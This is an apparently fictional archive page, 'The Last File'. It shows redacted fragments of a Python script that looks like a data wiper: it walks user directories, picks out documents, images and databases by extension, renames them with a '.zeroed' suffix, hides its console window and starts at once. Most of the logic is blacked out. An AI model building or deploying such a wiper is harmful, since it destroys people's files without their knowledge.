The Last File

ID: source-doc-081

Collection: SOURCE DOCUMENTS

Date: OA.SRC.0081

Status: PUBLIC EXCERPT

Access: PUBLIC / LEVEL 01

import os

import sys

import time

import random

████████████████████████ [REDACTED / 1 SOURCE PARAGRAPH / PUBLIC EDITION]

def generate_random_name():

"""Generate random filename"""

return ''.join(random.choices(string.ascii_letters + string.digits, k=10)) + '.dat'

████████████████████████ [REDACTED / 17 SOURCE PARAGRAPHS / PUBLIC EDITION]

# Try common Windows paths

win_paths = [

os.environ.get('USERPROFILE', ''),

████████████████████████ [REDACTED / 9 SOURCE PARAGRAPHS / PUBLIC EDITION]

for root, dirs, files in os.walk(target, topdown=False):

████████████████████████ [REDACTED / 7 SOURCE PARAGRAPHS / PUBLIC EDITION]

# Rename to obscure

os.rename(filepath, filepath + '.zeroed')

████████████████████████ [REDACTED / 18 SOURCE PARAGRAPHS / PUBLIC EDITION]

for root, dirs, files in os.walk('.'):

████████████████████████ [REDACTED / 1 SOURCE PARAGRAPH / PUBLIC EDITION]

if any(ext in file.lower() for ext in ['.doc', '.pdf', '.txt', '.jpg', '.png', '.xls', '.db', '.sql', '.config']):

████████████████████████ [REDACTED / 13 SOURCE PARAGRAPHS / PUBLIC EDITION]

except:

pass

████████████████████████ [REDACTED / 12 SOURCE PARAGRAPHS / PUBLIC EDITION]

ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

████████████████████████ [REDACTED / 2 SOURCE PARAGRAPHS / PUBLIC EDITION]

# Start immediately

main()

Related Records